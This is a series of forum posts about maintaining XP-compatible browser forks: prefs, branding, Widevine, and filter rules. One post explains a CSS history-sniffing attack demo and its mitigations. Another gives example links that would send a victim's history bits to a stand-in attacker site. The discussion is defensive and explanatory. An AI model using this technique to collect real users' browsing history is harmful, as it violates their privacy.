Mathwiz

That does seem to work. I update every 4h (which is almost certainly overkill), from 7:15 PM until 11:15 AM the next day, and don't see errors, but didn't really understand why until you mentioned that. (I just figured, if it ain't broke, don't fix it.) Apparently MSE tries to update itself 24h after each successful update, so updating more frequently than that stops its own unsuccessful update attempts. About the only time you might see an error is if you shut down for over 24h, so that it tries to update itself when you boot back up.

In my St 52 copy (dated 2019.04.19), app.support.baseURL still points to Mozilla! So it seems the default was only changed in PM/NM. We can still change it (in both versions), along with browser.feedback.URL in NM (app.feedback.baseURL in St), which is opened when the user clicks Help / Submit feedback and currently points to the PM forums in both browsers. And as suggested long ago, app.releaseNotesURL should point to http://rtfreesoft.blogspot.com/search/label/browser vs. the Palemoon.org release notes. That's only three prefs per browser, but would clean up the Help menu and reduce the number of unwelcome support requests going to the PM forums. I believe all these defaults are buried somewhere in <install dir>\browser\omni.ja. It might take a bit of searching to find & fix them all; an easier approach might be to override them by putting a new .js file in <install dir>\defaults\pref. Oops: Discovered a minor wrinkle with changing app.support.BaseURL: Help / Keyboard Shortcuts no longer works So it might be best to just revert to Mozilla for that pref. So the final prefs I ended up with are: app.feedback.baseURL;https://msfn.org/board/topic/177125-my-build-of-new-moon-temp-name-aka-pale-moon-fork-targetting-xp/?do=getNewComment app.releaseNotesURL;http://rtfreesoft.blogspot.com/search/label/browser app.support.baseURL;https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/ (change app.feedback.baseURL to browser.feedback.URL for NM)

I too once suggested changing the names of the .exe files, but it turns out that requires too many other changes; so I think now we're only talking about changing the names of the .7z files on @roytam1's page, some default prefs (so various links would point to Web pages controlled by @roytam1 vs. MCP), the displayed names, and the logos. The .exe file names would remain the same, and the other changes shouldn't affect add-on compatibility. It is a lot of work in total, though - as @Sampei.Nihira noted, there are several Help menu links to fix as well - and the work is probably best suited to a Web designer, which I am not. I've already suggested names (Titan; Apophis) and could probably even create logos, but not all the necessary Web pages based around them - at least not if you want them to look decent! The benefit to be gained depends on how likely Matt or MCP is to take drastic action (such as making PM/Basilisk closed-source, thus cutting us off from all future enhancements) next time they think @roytam1 is to blame for unwelcome New Moon/Serpent support requests. Rebranding won't end those unwelcome requests, but it would give @roytam1 a good defense against their likely future complaints.

I still have a copy of the 5/22 version that runs on XP. I'm uploading a copy here. I tried renaming the "hostlist.txt" file from the new version to "top100.txt," as used in the old version. Surprisingly, it wouldn't run with the new file! So I surmised the old version only allows 100 host names in "top100.txt," and split "hostlist.txt" into two files with 100 entries each. That worked. Whichever file is named "top100.txt" is used. You just have to run it, rename the "top100" files, and run it again. BTW, no alert on Amazon or Paypal with this version. (But I know alerts work with this version, from my earlier experiment with ProxHTTPSProxyMII.) Also, although you can't resize the window, you can sort by any column by clicking the header. qmc.7z

Thanks for the link, and good to hear Instagram is working for you again. Do you know the precise version from February that works (with the next version not working)? If so, we can study the change log and see if we can find the change that broke that site. Then we might be able to figure a workaround, or even revert the change. That's how we fixed another Instagram bug a few months ago.

Ironically, the problems you noted with the "unofficial.shtml" page are MCP's own doing. They own the www.palemoon.com Web site, and they programmed "unofficial" browser builds (i.e., New Moon) to open that page. They do have a disclaimer about support, but given how sensitive they seem to be about not calling unofficial builds "Pale Moon," it's amusing that their own Web page for unofficial builds commits that very same error. If Matt or anyone else hassles @roytam1 about "misrepresenting" his browser again, it might be worth pointing out that it's MCP's own "unofficial.shtml" page that's doing a good bit of the "misrepresenting." Since all "unofficial" builds are called New Moon, surely their Web page for those builds should call it New Moon as well, or at least use wording like "unofficial build of Pale Moon" vs. just plain "Pale Moon." FWIW, I do think @roytam1 should develop his own branding, but that has proven to be more easily said than done; we can't even come up with a browser name that everyone's OK with! ("New Moon" is just MCP's default name for unofficial Pale Moon builds.) Maybe @roytam1 should be a "dictator" on this question and just pick a name he likes. (Or maybe it's been New Moon for so long, he's grown to like the name "New Moon.")

Yes, this is what @VistaLover warned us about. The above/below applies to Serpent 52 as well as Basilisk: IOW, it's gonna be a while before MCP gets Widevine 4.10 working. Kinda irrelevant to XP users since St+Widevine doesn't work for us anyway, but anyone using Serpent 52 on Vista, Win 7, etc. won't be able to access any new streaming services (e.g., Amazon Prime) via Widevine until MCP gets this fixed. I believe if you were watching Amazon Prime on St 52 before May 30, your existing Widevine 4.9 license will continue to work. Also, Silverlight is unaffected, so you should still be able to watch streaming services that support Silverlight, such as Netflix, even on XP.

New openssl v1.1.1c for XP available! lib*_static.lib files are included now, so the .7z files for both versions are now about 5.6 MB each.

That's strange; I just re-downloaded it and now it's not working for me either. Did the file get changed in the last few days? It's not supposed to work that way. Should open a window, query the top 100 web sites, and the status of each should scroll up the window.

Well, at the end of the day, all I can do is let folks know a potential security exposure exists. I can't make anyone understand it, or take it seriously....

Weird; Instagram videos seem to be working OK for me with that version (2019.05.24 32-bit on windows XP SP3). Can you give us links to some of the exact videos that won't play? Instagram.com/stories/nick just leads to a profile page with many images & I have no idea which one to try. But perhaps there's an obscure problem with its built-in media player. You might try installing the Adobe Primetime player (as described in the following thread) and once that's done, set media.ffvpx.enabled in about:config to "false." (Also disable Flash if it's installed.) That's how I play videos.

The demo is designed just to show what's possible; it's not designed to actually steal your browsing history! So of course no request is sent back. IOW, the "moles" could've been 512 simple links, from ... <a href="http://mybadsite.com?user=victim1&historyBits=000" /> ... through ... <a href="http://mybadsite.com?user=victim1&historyBits=511" /> ... so when you click one, the server just collects your data and goes to the next page. And the demo runs fine with all of uBO's filters enabled. There's really nothing for uBO to block; that's what makes it potentially dangerous.

Calling all paranoid XPers: I just learned of a sneaky CSS hack that can be used to trick users into revealing their browsing history. And yes, the trick works in NM and Serpent. Check it out and discuss at my post: https://msfn.org/board/topic/178684-clever-hack-can-trick-web-surfers-into-revealing-their-browsing-history/ (Edit: for some reason I couldn't embed the link above; MSFN server kept saying "403 Forbidden".... )

Now, if you have a need to access your PC via Remote Desktop, that's another matter; you can't just block the port without losing that functionality. (Obvious example: Windows XP mode under Win 7 requires that port be open to work - but it's not accessible to the "outside" anyhow.) But I bet most users here at MSFN have already installed the fix for this vulnerability on all their PCs anyhow.

This is a couple of years old, so apologies if it's already been discussed; but I just ran across this last night. (BTW, this doesn't work in IE, or in Edge - yet - but works in Chrome, other Chromium derivatives like Opera, and FF and its derivatives.) This demo appears at first to be a "whack-a-mole" game: you're supposed to click the "mole" as quickly as possible. But try it: when you click the "mole," it will pop up a list of these nine Web pages: https://www.cnn.com https://news.ycombinator.com https://www.reddit.com https://www.amazon.com https://twitter.com/lcamtuf https://www.donaldjtrump.com https://www.farmersonly.com https://www.diapers.com ... and will tell you which ones you've visited! How it works: rather than being random, the mole's position depends on which combination of the above Web sites you've visited. Since there are nine Web sites, there are 2^9 or 512 possible visited/not visited combinations. So the demo actually shows 512 moles, one for each possible combination, and uses CSS "mix blend modes" to ensure only one mole is visible: the one that corresponds to your particular browsing history. Read the author's blog post for more details. Note that although this demo uses Javascript to reveal the results, collecting the info only required HTML, CSS, and a means to convince you to click the right spot on the page, so add-ons like Noscript won't protect you. If this were a truly deceptive web page, you could imagine revealing whether you've visited any of hundreds of Web sites by playing the "game" (or by clicking apparently-innocuous links or buttons at the deceptive Web site) for a few minutes. Countermeasures and Mitigations There are a couple of obvious countermeasures, but you'd have to give up some functionality. You could just disable flagging visited links: in FF, toggle layout.css.visited_links_enabled in about:config to "false." In the demo, the mole will now always appear in the "no links visited" position. Or you could give up mix blend mode instead: again in FF, toggle layout.css.mix-blend-mode.enabled to "false." This disables the "game:" the "mole" is gone, replaced with a white rectangle; but I'd wager that 99% of legit Web sites wouldn't be significantly affected. (A few might display slightly "funny" but should work OK. Besides, they'd look that way under IE/Edge anyhow, unless they have IE/Edge-specific coding, and in that case, an IE-like SSUAO is all you'd need to fix the site.) Finally, there's a weakness in this method that makes it a bit less revealing than you might think. When I first tried it, I was surprised to learn that I hadn't visited any of the above Web sites, even though I know I at least visit amazon.com rather often. But it didn't show as "visited" because I use a bookmark to go to amazon.com, which actually goes to https://www.amazon.com/?.... Since the demo page couldn't guess the entire long string, my browser didn't show https://www.amazon.com by itself as "visited." So maybe the best mitigation is just to append a ? and some extra random garbage to all your bookmarks!

Just gave it a try. (Clean install.) It does play with that combination (NM 28.6.0a1 on Win7 with media.ffvpx.enabled set to false and media.wmf.enabled set (defaulted) to true.

LOL: IOW, we already claimed XP was dead five years ago, and we're just now admitting we were wrong. But we're right this time! Well, maybe ... but there are still folks using Win2K, and there are more XP users than 2K users....

Zero handshake failures, sure enough; but naturally everything comes up ALERT since ProxHTTPSProxyMII is a MITM by design.

Why? These can be found at https://filterlists.com/

Mediafire is working now. Patch downloaded fine. You're probably right; it was probably a problem with the site that's fixed now. BTW, see this post: ... if for security, you want to "lock down" service workers so they only run on sites like Mediafire that require them.

I ran it again on Win 7, to see which three failed. But I got zero handshake failures this time, so the failures must've been intermittent and/or server-side.

And to give a practical example, here's the rule I just started using instead of disabling service workers in about:config.... *$csp=worker-src 'none',domain=~mediafire.com|~html5test.com ... so Web workers (including service workers) are disabled except at mediafire.com (requires service workers to upload files ) and html5test.com (mostly to prove that setting the domain as an exception works; also gets 10 extra bragging points on your browser's score). But html5workertest.com still shows all x's, proving workers are blocked on domains not listed.

What the.... (I tried re-enabling service workers; didn't help)

3 handshake failures on Win 7. I'm guessing the tool uses Microsoft's schannel.dll. If so, ProxHTTPSProxyMII would probably reduce the number of handshake failures on XP.

I was able to get past the crash in tornado by installing an older version: pip uninstall tornado pip install tornado==5.1.1 ... but now I'm getting a crash in zmq! Seems to be looking to link libzmq.lib. I'm not sure that lib can even be built on Win XP.